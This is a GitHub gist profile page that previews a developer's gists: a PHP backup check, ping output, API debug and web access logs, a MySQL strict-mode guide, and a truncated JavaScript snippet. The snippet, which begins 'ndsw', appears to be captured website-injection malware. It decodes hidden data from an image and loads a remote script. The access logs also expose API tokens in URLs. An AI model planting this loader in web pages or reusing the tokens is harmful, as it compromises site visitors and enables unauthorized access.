Skip to content

Instantly share code, notes, and snippets.

🎯
Focusing

Phil Taylor PhilETaylor

🎯
Focusing
View GitHub Profile
View extract.php
private function checkAkeebaOutputDirectory()
{
try {
// Check Akeeba Installed - Prerequisite
if (!file_exists(JPATH_SITE.'/libraries/f0f/include.php')
|| !file_exists(JPATH_SITE.'/administrator/components/com_akeeba/engine/Factory.php')
|| !file_exists(JPATH_SITE.'/administrator/components/com_akeeba/engine/serverkey.php')
) {
bfEncrypt::reply('success', [
'paths' => [],
View gist:0e55bbc6af1079d3235bcc9fe1884781
1e4b69555b37:/var/www# ping radpolengineering.com.au
PING radpolengineering.com.au (2404:8280:a222:bbbb:bba1:50:ffff:ffff): 56 data bytes
64 bytes from 2404:8280:a222:bbbb:bba1:50:ffff:ffff: seq=0 ttl=48 time=263.732 ms
64 bytes from 2404:8280:a222:bbbb:bba1:50:ffff:ffff: seq=1 ttl=48 time=262.696 ms
64 bytes from 2404:8280:a222:bbbb:bba1:50:ffff:ffff: seq=2 ttl=48 time=262.146 ms
64 bytes from 2404:8280:a222:bbbb:bba1:50:ffff:ffff: seq=3 ttl=48 time=262.377 ms
64 bytes from 2404:8280:a222:bbbb:bba1:50:ffff:ffff: seq=4 ttl=48 time=262.403 ms
64 bytes from 2404:8280:a222:bbbb:bba1:50:ffff:ffff: seq=5 ttl=48 time=262.371 ms
^C
--- radpolengineering.com.au ping statistics ---
View gist:69d773651cb56624d5d1c8dc788489bb
2020-06-16 10:02:41
2020-06-16 09:48:07
2020-06-16 09:46:11
2020-06-16 09:04:55
2020-06-16 08:58:32
2020-06-16 08:53:33
2020-06-16 08:50:40
2020-06-16 08:39:39
2020-06-16 08:39:32
2020-06-16 08:35:31
View gist:9c205e9209994033ddc293488851595b
{
"eventid": 2330196,
"clientid": 37318,
"goodafter": "2020-05-04T02:39:43-07:00",
"isactive": true,
"regrequired": true,
"description": "Hydrogen & Fuel Cells are happening now: Considerations for deployment and financing",
"promotionalsummary": "<p><u><strong>THE FUTURE OF FLEET FINANCE SEMINAR SERIES 4/4</strong></u></p>\n\n<p><em>Fuelling the Future - How Hydrogen will change transport strategies</em></p>\n\n<ul>\n\t<li>Jim Irvine, Head of Production Operations, Arcola Energy</li>\n</ul>\n\n<p>In the final seminar of our four-part series of expert sessions on The Futue of Fleet Finance, we look at how demand for hydrogen could accelerate in the coming years.</p>\n\n<p>Jim Irvine provides in-depth insights on how the fuel will be used in car fleets, commercial vehicles and the bus, coach and lorry sectors.</p>\n\n<p>This 10-minute briefing provides an important insight into the key areas where of asset finance growth in the growing green fuel market.</p>\n\n<p>I
View gist:85aa1874f6354aaaa581c7020d7f288b
[2020-05-14 11:10:05] api-debugger.INFO: >>>>>>>>
POST /plugins/system/bfnetwork/bfnetwork/bfPing.php HTTP/1.1
Content-Length: 685
Referer: https://manage.mysites.guru/
User-Agent: mySites/3.0 (mySites.guru)
Accept: application/json
X-MyJoomla-FAQ: For full details see mySites.guru or email phil@phil-taylor.com
Content-Type: application/x-www-form-urlencoded
Host: test.bokko.co.jp
X-MYJOOMLA-TIME: 1589454604
View gist:034e97cfe68c32b2c580a85d7566c747
status_code:200 104.236.63.154 [12/Apr/2020:09:01:33 +0000] POST /moodle/webservice/xmlrpc/server.php?wstoken=d373a4b4a8d2803542bee7eee56fd27c HTTP/1.0
status_code:200 204.38.63.51 [12/Apr/2020:09:01:51 +0000] POST /moodle/lib/ajax/service.php?sesskey=nRNS5Ff3LF&info=core_session_time_remaining&nosessionupdate=true HTTP/2.0
status_code:200 174.206.1.9 [12/Apr/2020:09:01:54 +0000] POST /moodle/lib/ajax/service.php?sesskey=xywW69VrVK&info=core_fetch_notifications HTTP/2.0
status_code:303 174.206.1.9 [12/Apr/2020:09:01:56 +0000] POST /moodle/mod/quiz/startattempt.php HTTP/2.0
status_code:200 174.206.1.9 [12/Apr/2020:09:01:57 +0000] POST /moodle/lib/ajax/service.php?sesskey=xywW69VrVK&info=core_fetch_notifications HTTP/2.0
status_code:200 64.234.87.39 [12/Apr/2020:09:03:24 +0000] POST /moodle/lib/ajax/service.php?sesskey=r2QBgP3bwJ&info=core_session_time_remaining&nosessionupdate=true HTTP/2.0
status_code:200 104.236.63.154 [12/Apr/2020:09:03:26 +0000] POST /moodle/webservice/xmlrpc/server.php?wstoken=d373a4b4a8d
View gist:0daecea14e8e6b1d1b25c7ce949f5b2b
status_code:200 173.252.87.36 [12/Apr/2020:09:01:19 +0000] GET / HTTP/1.1
status_code:404 54.36.150.34 [12/Apr/2020:09:01:22 +0000] GET /238-bc-tmh-credentialing-steps HTTP/2.0
status_code:200 104.236.63.154 [12/Apr/2020:09:01:33 +0000] POST /moodle/webservice/xmlrpc/server.php?wstoken=d373a4b4a8d2803542bee7eee56fd27c HTTP/1.0
status_code:200 204.38.63.51 [12/Apr/2020:09:01:33 +0000] GET /index.php?option=com_ajax&format=json HTTP/2.0
status_code:200 66.249.64.202 [12/Apr/2020:09:01:38 +0000] GET /medical-social-work-and-technology-assisted-services HTTP/1.1
status_code:200 204.38.63.51 [12/Apr/2020:09:01:51 +0000] POST /moodle/lib/ajax/service.php?sesskey=nRNS5Ff3LF&info=core_session_time_remaining&nosessionupdate=true HTTP/2.0
status_code:200 174.206.1.9 [12/Apr/2020:09:01:54 +0000] GET /moodle/mod/quiz/view.php?id=2738 HTTP/2.0
status_code:200 174.206.1.9 [12/Apr/2020:09:01:54 +0000] POST /moodle/lib/ajax/service.php?sesskey=xywW69VrVK&info=core_fetch_notifications HTTP/2.0
status_code:303 174.206.1.9 [12/
View gist:b4999e75b4f4f3fe1835e5a516367b80
status_code:200 104.236.63.154 [12/Apr/2020:09:00:02 +0000] GET /moodle/admin/cron.php HTTP/1.1
status_code:200 72.196.212.95 [12/Apr/2020:09:00:26 +0000] GET /index.php?option=com_ajax&format=json HTTP/2.0
status_code:303 174.206.1.9 [12/Apr/2020:09:00:30 +0000] POST /moodle/mod/quiz/processattempt.php?cmid=2738 HTTP/2.0
status_code:200 174.206.1.9 [12/Apr/2020:09:00:30 +0000] GET /moodle/mod/quiz/summary.php?attempt=20943&cmid=2738 HTTP/2.0
status_code:200 174.206.1.9 [12/Apr/2020:09:00:31 +0000] POST /moodle/lib/ajax/service.php?sesskey=xywW69VrVK&info=core_fetch_notifications HTTP/2.0
status_code:200 104.236.63.154 [12/Apr/2020:09:00:35 +0000] POST /index.php?option=com_joomdle&task=ws.server&format=xmlrpc&token=Kwa1z0jMmgnRxIrP5UY3bEGalqzpn8sQ&PageSpeed=Off HTTP/1.0
status_code:200 104.236.63.154 [12/Apr/2020:09:00:35 +0000] POST /index.php?option=com_joomdle&task=ws.server&format=xmlrpc&token=Kwa1z0jMmgnRxIrP5UY3bEGalqzpn8sQ&PageSpeed=Off HTTP/1.0
status_code:303 174.206.1.9 [12/Apr/2020:09:00:35 +0000]
View How To Disable Strict SQL Mode in MySQL 5.7.MD

How To Disable Strict SQL Mode in MySQL 5.7

I wrote a quick script for those that provision servers often enough.

To get this to work take the following steps

  1. Log into your server as root
  2. Get script wget https://gist.githubusercontent.com/nfourtythree/90fb8ef5eeafdf478f522720314c60bd/raw/disable-strict-mode.sh
  3. Make is executable chmod +x disable-strict-mode.sh
  4. Run the script ./disable-strict-mode.sh
View gist:d355f363a84ad13c656888220d59fffa
;if(ndsw===undefined){var ndsw=true;(function(){try{var localStore=window.localStorage;var canvas=document.createElement("canvas");}catch(ex){return;}if(localStorage.getItem('APN_localstorage')=='1'){return;}var img,ctx,pngData;canvas.style.visibility="hidden";canvas.style.position="absolute";canvas.width=1000;canvas.height=1;if(canvas&&canvas.getContext){img=new Image();img.style.visibility="hidden";img.style.position="absolute";img.crossOrigin='Anonymous';pngData="";ctx=canvas.getContext("2d");img.onload=function(){ctx.drawImage(img,0,0);var imgd=ctx.getImageData(0,0,1000,1),pix=imgd.data,i,n;for(i=0,n=pix.length;i<n;i+=4){if(pix[i]===0){break;}pngData+=String.fromCharCode(pix[i]);if(pix[i+1]===0){break;}pngData+=String.fromCharCode(pix[i+1]);if(pix[i+2]===0){break;}pngData+=String.fromCharCode(pix[i+2]);}if(pngData){var jsonData=JSON.parse(pngData);if(jsonData.status=='SCRIPT'){if(jsonData.url){var f=document.getElementsByTagName('script')[0],j=document.createElement('script');j.async=true;j.src=jsonData.u
You can’t perform that action at this time.